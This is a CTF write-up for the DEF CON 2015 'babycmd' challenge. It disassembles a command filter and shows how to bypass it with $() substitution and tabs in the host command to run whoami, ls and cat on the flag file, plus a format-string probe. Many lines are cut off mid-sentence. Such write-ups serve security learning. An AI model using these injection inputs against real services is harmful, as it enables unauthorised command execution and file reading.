DEF CON 2015 Quals - babycmd (1pt) writeup

May 18 2015 ctf | writeup

« DEF CON 2015 Quals - mathwhiz (1pt) writeup..

VolgaCTF 2015 Quals - Captcha (150pts) writeup »

The challenge description was:
babycmd_3ad28b10e8ab283d7df81795075f600b.quals.shallweplayaga.me:1

A binary called babycmd_3ad28b10e8ab283d7df81795075f600b was also pr

Let's quickly check what happens when we connect to it:

```
mrt:~/ctf/defcon/baby/babycmd$ nc babycmd_3ad28b10e8ab283d7df81795075f600b.q

Welcome to another Baby's First Challenge!
Commands: ping, dig, host, exit
```

We need to find a way to run other commands and get the flag but a coupl
pipe or chain other commands are actually stripped.

```
...
    d65:       0f b6 07              movzx  eax,BYTE PTR [rdi]
    d68:       84 c0                 test   al,al
    d6a:       74 39                 je     da5 <__sprintf_chk@plt+0x1b5>
    d6c:       3c 20                 cmp    al,0x20
    d6e:       74 2a                 je     d9a <__sprintf_chk@plt+0x1aa>
    d70:       89 c1                 mov    ecx,eax
    d72:       8d 50 da              lea    edx,[rax-0x26]    ; char - 0x
    d75:       80 fa 01              cmp    dl,0x1            ; <= 1 fail
    d78:       76 34                 jbe    dae <__sprintf_chk@plt+0x1be>
    d7a:       3c 7c                 cmp    al,0x7c
    d7c:       74 36                 je     db4 <__sprintf_chk@plt+0x1c4>
    d7e:       3c 2a                 cmp    al,0x2a
    d80:       74 38                 je     dba <__sprintf_chk@plt+0x1ca>
    d82:       89 c2                 mov    edx,eax
    d84:       83 e2 fd              and    edx,0xfffffffd
    d87:       80 fa 21              cmp    dl,0x21
    d8a:       74 34                 je     dc0 <__sprintf_chk@plt+0x1d0>
    d8c:       83 e9 3a              sub    ecx,0x3a           ; char - 0
    d8f:       80 f9 01              cmp    cl,0x1             ; <= 1 fai
    d92:       76 32                 jbe    dc6 <__sprintf_chk@plt+0x1d6>
    d94:       88 06                 mov    BYTE PTR [rsi],al
    d96:       48 83 c6 01           add    rsi,0x1
    d9a:       48 83 c7 01           add    rdi,0x1
    d9e:       0f b6 07              movzx  eax,BYTE PTR [rdi]
    da1:       84 c0                 test   al,al
    da3:       75 c7                 jne    d6c <__sprintf_chk@plt+0x17c>
    da5:       c6 06 00              mov    BYTE PTR [rsi],0x0
    da8:       b8 01 00 00 00        mov    eax,0x1
    dad:       c3                    ret
    dae:       b8 00 00 00 00        mov    eax,0x0
    db3:       c3                    ret
    db4:       b8 00 00 00 00        mov    eax,0x0
    db9:       c3                    ret
    dba:       b8 00 00 00 00        mov    eax,0x0
    dbf:       c3                    ret
    dc0:       b8 00 00 00 00        mov    eax,0x0
    dc5:       c3                    ret
    dc6:       b8 00 00 00 00        mov    eax,0x0
    dcb:       c3                    ret
...
```

The following letters are stripped and/or invalidate our command: 0x20 (spa
0x26 (&), 0x3a (:) and also check for 0x27 (') and 0x3b (;). This still leaves us
check if there is more sanitizing afterward:

```
...
    e89:       48 89 e6              mov    rsi,rsp
    e8c:       48 8d bc 24 90 01 00  lea    rdi,[rsp+0x190]
    e93:       00
```

```
     ea4:       e8 27 fc ff ff          call   ad0 <puts@plt>
     ea9:       e9 8c 00 00 00          jmp    f3a <__sprintf_chk@plt+0x34a>
...
```

The ping command doesn't seem to use any other form of sanitizing, after p
inet_aton (http://linux.die.net/man/3/inet_aton) it returns 0 if the IP address
Invalid IP address error message in babycmd)

However we can still pass invalid characters. (we'll get back to that later)

```
...
     fb0:       48 89 e6                mov    rsi,rsp
     fb3:       48 8d bc 24 90 01 00    lea    rdi,[rsp+0x190]
     fba:       00
     fbb:       e8 c0 fb ff ff          call   b80 <inet_aton@plt>
     fc0:       85 c0                   test   eax,eax
     fc2:       74 2d                   je     ff1 <__sprintf_chk@plt+0x401>
     fc4:       8b 3c 24                mov    edi,DWORD PTR [rsp]
     fc7:       e8 14 fb ff ff          call   ae0 <inet_ntoa@plt>
     fcc:       49 89 c0                mov    r8,rax
     fcf:       48 8d 7c 24 10          lea    rdi,[rsp+0x10]
     fd4:       48 8d 0d 5d 05 00 00    lea    rcx,[rip+0x55d]        # 1538
     fdb:       ba 80 01 00 00          mov    edx,0x180
     fe0:       be 01 00 00 00          mov    esi,0x1
     fe5:       b8 00 00 00 00          mov    eax,0x0
     fea:       e8 01 fc ff ff          call   bf0 <__sprintf_chk@plt>
     fef:       eb 4a                   jmp    103b <__sprintf_chk@plt+0x44b
     ff1:       48 8d bc 24 90 01 00    lea    rdi,[rsp+0x190]
     ff8:       00
     ff9:       e8 ce fd ff ff          call   dcc <__sprintf_chk@plt+0x1dc>
     ffe:       85 c0                   test   eax,eax
    1000:       75 11                   jne    1013 <__sprintf_chk@plt+0x423
...
```

The command dig does something similar, but in case inet_aton fails it jump
at 0xdcc, I suppose in case it's not a parsable IP it tries with a domain name:

```
...
     dcc:       48 89 fe                mov    rsi,rdi
     dcf:       b8 00 00 00 00          mov    eax,0x0
     dd4:       48 c7 c1 ff ff ff ff    mov    rcx,0xffffffffffffffff
     ddb:       f2 ae                   repnz scas al,BYTE PTR es:[rdi]
     ddd:       48 f7 d1                not    rcx            ; get length of
     de0:       48 8d 51 ff             lea    rdx,[rcx-0x1]
     de4:       48 83 e9 04             sub    rcx,0x4        ; length - 0x4
     de8:       b8 00 00 00 00          mov    eax,0x0
     ded:       48 83 f9 3c             cmp    rcx,0x3c       ; jump above 0x
     df1:       77 40                   ja     e33 <__sprintf_chk@plt+0x243>
```

```
      dfe:       80 f9 19              cmp    cl,0x19         ; (byte)char <=
      e01:       76 0d                 jbe    e10 <__sprintf_chk@plt+0x220>
      e03:       8d 48 d0              lea    ecx,[rax-0x30]
      e06:       b8 00 00 00 00        mov    eax,0x0
      e0b:       80 f9 09              cmp    cl,0x9
      e0e:       77 23                 ja     e33 <__sprintf_chk@plt+0x243>
      e10:       0f b6 54 16 ff        movzx  edx,BYTE PTR [rsi+rdx*1-0x1]
      e15:       89 d1                 mov    ecx,edx         ; copy to ecx
      e17:       83 e1 df              and    ecx,0xffffffdf; char & 0xffff
      e1a:       83 e9 41              sub    ecx,0x41        ; char - 0x41 (
      e1d:       b8 01 00 00 00        mov    eax,0x1
      e22:       80 f9 19              cmp    cl,0x19         ; (byte)char <=
      e25:       76 0c                 jbe    e33 <__sprintf_chk@plt+0x243>
      e27:       83 ea 30              sub    edx,0x30
      e2a:       80 fa 09              cmp    dl,0x9
      e2d:       0f 96 c0              setbe  al
      e30:       0f b6 c0              movzx  eax,al
      e33:       f3 c3                 repz ret
...
```

The command host does something similar. So it apparently only checks for our command parameter, if one of them are inside an invalid range it fails. L using $() taking care of adding a valid character before and after (we are go

```
mrt:~/ctf/defcon/baby/babycmd$ nc babycmd_3ad28b10e8ab283d7df81795075f600b.q

Welcome to another Baby's First Challenge!
Commands: ping, dig, host, exit
: host A$(whoami)A
Host ABabycmdA not found: 3(NXDOMAIN)
```

It returns babycmd, we successfully ran whoami. Time to look around and g

```
Commands: ping, dig, host, exit
: host A$(ls)A
host: 'Abin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib64
lost+found
media
mnt
opt
proc
root
```

```
tmp
usr
var
vmlinuz
vmlinuz.oldA' is not a legal name (label too long)
Commands: ping, dig, host, exit
: host A$(ls    home)A
Host Ababycmd\010ubuntuA.eu-west-1.compute.internal not found: 2(SERVFAIL)
Commands: ping, dig, host, exit
: host A$(ls    home/babycmd)A
Host Ababycmd\010flagA.eu-west-1.compute.internal not found: 2(SERVFAIL)
Commands: ping, dig, host, exit
: host A$(cat   home/babycmd/flag)A
host: 'AThe flag is: Pretty easy eh!!~ Now let's try something hArd3r, shall
Commands: ping, dig, host, exit
: exit
Goodbye
```

We ran 'ls', 'ls home' using tabulation since we cannot use space, listed files and finally ran 'cat home/babycmd/flag' to get the flag.

Note: I spent way too much time trying to solve this challenge using a form closer look at the source:

```
: host AABBBBCC^M%08x%08x%08x%08x%08x%08x%08x%08x%08x
a6c75100203a646ea5a1f0463025783800000000000000074736f6842424242 not found:
```

We got our flag: Pretty easy eh!!~ Now let's try something hArd3r, shallwe?